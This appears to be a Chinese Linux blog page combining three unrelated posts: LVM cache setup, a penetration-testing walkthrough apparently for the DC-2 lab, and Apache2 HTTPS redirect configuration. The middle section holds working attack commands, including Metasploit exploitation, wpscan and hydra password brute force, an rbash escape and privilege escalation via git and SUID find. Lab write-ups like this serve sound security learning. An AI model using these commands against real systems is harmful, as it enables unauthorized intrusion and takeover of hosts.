分类 linux 下的文章

/dev/sda: 223.57GB ssd
/dev/sdb: 1.82T HDD
/dev/sdc: 1.82T HDD
/dev/sdd: 119GB ssd

配置lvm_cache:
1.磁盘分区
fdisk /dev/sda
fdisk /dev/sdb
fdisk /dev/sdc

2.创建物理卷:
pvcreate /dev/sda1 /dev/sdb1 /dev/sdc1

3.创建卷组vg-data-1:
vgcreate vg-data-1 /dev/sda1 /dev/sdb1

4.创建逻辑卷lv-data:
lvcreate -n lv-data -L 1.82T vg-data-1 /dev/sda1 /dev/sdb1

5.创建逻辑卷缓存cache、逻辑卷meta:
lvcreate -n cache -L 218G vg-data-1 /dev/sda1
lvcreate -n meta -L 2G vg-data-1 /dev/sda1

6.创建缓存池、将存储卷加入缓存池:

lvconvert --type cache-pool --poolmetadata vg-data-1/meta vg-data-1/cache
lvconvert --type cache --cachepool vg-data-1/cache --cachemode writeback vg-data-1/lv-data

7.格式化逻辑卷lv-data
mkfs.xfs /dev/vg-data-1/lv-data

一、寻找活动主机:
1.比较快速的方法:arp-scan -l

  1. netdiscover
  2. nmap -sS 网络开始地址/24
    参数:-sS 是指SYN扫描

二、活动主机的信息收集

  1. nmap -A -p- hostIP
    参数:-A OS识别,版本探测,脚本扫描和traceroute综合扫描
    参数:-p- 扫描所有端口

三、漏洞利用
1.启动metasploit
msfconsole

2.搜索指定的exploit(主机中存在的漏洞)
search 主机中存在的漏洞名称

会已列表形式列出漏洞模块

  1. 指定上面列表中可用的模块
    use 模块编号
    4.查看需要配置项
    show options
    5.漏洞爆破
    exploit
    成功后,会出现:meterpreter>
    并进入到被攻击主机中。可以列出靶机的文件目录。
    6.如果是wordpress网站,可以使用wpscan扫描可以登录的用户
    wpscan --url dc-2 -e u
    -e:简单进行整体快速扫描
    u:枚举WordPress用户名
    -U:指定用户名字典
    -P:指定密码字典

wpscan工具爆破
wpscan --url dc-2 -U dc2users.txt -P dc2.txt
上面的密码字典可以通过以下方法生成:
cewl http://dc-2 -w dc2.txt

ssh登录密码爆破: 使用Hydra工具进行
hydra -L dc2users.txt -P dc2.txt 192.168.43.15 ssh -s 7744(ssh端口号)
-L:指定用户名字典
-P:指定密码字典
-s:可通过这个参数指定非默认端口
rbash绕过方法:
BASH_CMDS[a]=/bin/sh;a #调用/bin/sh命令解释器
/bin/bash #使用bash命令解释器
export PATH=$PATH:/bin/ #设置环境变量

git提权:

sudo git help config

!/bin/bash或者!'sh'完成提权

sudo git -p help

!/bin/bash

四、进入靶机shell
shell
查看python版本
python -V
通过pty.spawn()获得交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'

五、提升权限
提权专题介绍
1.使用find命令查找有特殊权限suid的命令
find / -perm -4000

例如find具有suid权限,则执行下面命令
find 任意文件 -exec '/bin/sh' \;
如果成功提权,则提示符从“>”变为“#”

2.使用git进行提权
sudo git help config
输入:GG
来到最后一行
输入以下代码进行提权:

!/bin/bash

如果成功提权,则提示符从“>”变为“#”

一、安装 Apache2
sudo apt update
sudo apt install apache2 openssl

安装之后,apache2服务器已经启动,并且会随系统自动启动;

Apache2 配置
Apache配置文件在/etc/apache2目录下。

主配置文件是apache2.conf,其中引用了其他配置文件。

a2query命令可以获取服务器当前的运行配置。

环境变量
envvars文件中配置了Apache用到的环境变量,这些环境变量也可以在配置文件中引用。

模块配置
所有模块配置在mods-available目录下,启用后会在mods-enabled目录下建立符号链接;
启用模块用a2enmod命令,禁用模块用a2dismod命令。

监听端口配置
ports.conf 文件中配置了Apache服务器监听的端口,包括HTTP端口和HTTPS端口
默认包括HTTP端口80,如果加载了SSL或TLS模块,还会监听443端口。
除了这里的配置,各虚拟主机配置里也会配置其对应的端口。

其他可选配置
其他可选配置在conf-available目录下,启用的配置会链接到conf-enabled中。
启用配置用a2enconf命令,禁用配置用a2disconf命令。

网站(虚拟主机)配置
网站配置包含了HTTP配置和HTTPS配置,根据需要选择。
所有网站配置都放在sites-available子目录中,而启用的网站则会链接到sites-enabled目录下。
要启动网站可以用a2ensite命令,禁用网站则用a2dissite命令。

网站配置
HTTP网站配置
默认配置中已经启用了一个http网站000-default,
其中配置了网站主目录DocumentRoot /var/www/html等信息,可参考 000-default.conf 在 sites-available 目录下配置其他网站,配置后通过 a2ensite 命令启动。

配置后可以通过 http://127.0.0.1 访问
注意使用的地址要与配置文件中的ServerName匹配

二、配置HTTPS网站
启用HTTPS必须要加载ssl模块

a2enmod ssl
systemctl restart apache2

启动SSL网站

a2ensite default-ssl
systemctl reload apache2

这里使用的是默认的SSL网站配置default-ssl,与HTTP的区别在于启用了SSL引擎SSLEngine on,并且配置了SSL需要的证书和密钥,以及其他SSL运行需要的参数。

默认的SSL配置中使用的是自签名的SSL证书,在使用浏览器打开网站时会收到安全警告,在真正使用时需要申请自己的密钥和证书。
编辑default-ssl.conf
sudo nano sites-enabled/default-ssl.conf
检查下面信息:
2023-03-13T01:30:46.png

三、实现从http到https自动跳转
下面是启用mod_rewrite模块的方法。
第一种方式:
sudo a2enmod rewrite

第二种方式:
sudo ln -s /etc/apache2/mods-available/rewrite.load /etc/apache2/mods-enabled/rewrite.load

不管使用哪种方法,都是在 /etc/apache2/mods-enabled/
这个目录下面建立了一个链接,只要重启服务器之后就可以生效。 当然要使rewrite生效,还需要修改额外的配置:
sudo vim /etc/apache2/sites-enabled/000-default.conf

<Directory /var/www/html>
    Options Indexes FollowSymLinks
    AllowOverride all
    Require all granted
</Directory>

在网站文件夹创建.htaccess文件
sudo nano /var/www/html/.htaccess
添加以下内容:

RewriteEngine on
#RewriteCond %{SERVER_PORT} !^443$
RewriteCond %{HTTPS} off
RewriteRule (.*) https://%{SERVER_NAME}/$1 [R]

解释:

%{SERVER_PORT} —— 访问端口
%{SERVER_NAME} —— 比如如果url是 http://localhost/tz.php,则是指 localhost
%{HTTPS} off ——检查是否是https,如果不是,则应用RewriteRule这条规则。
以上规则的意思是,如果访问的url的端口不是443,则应用RewriteRule这条规则。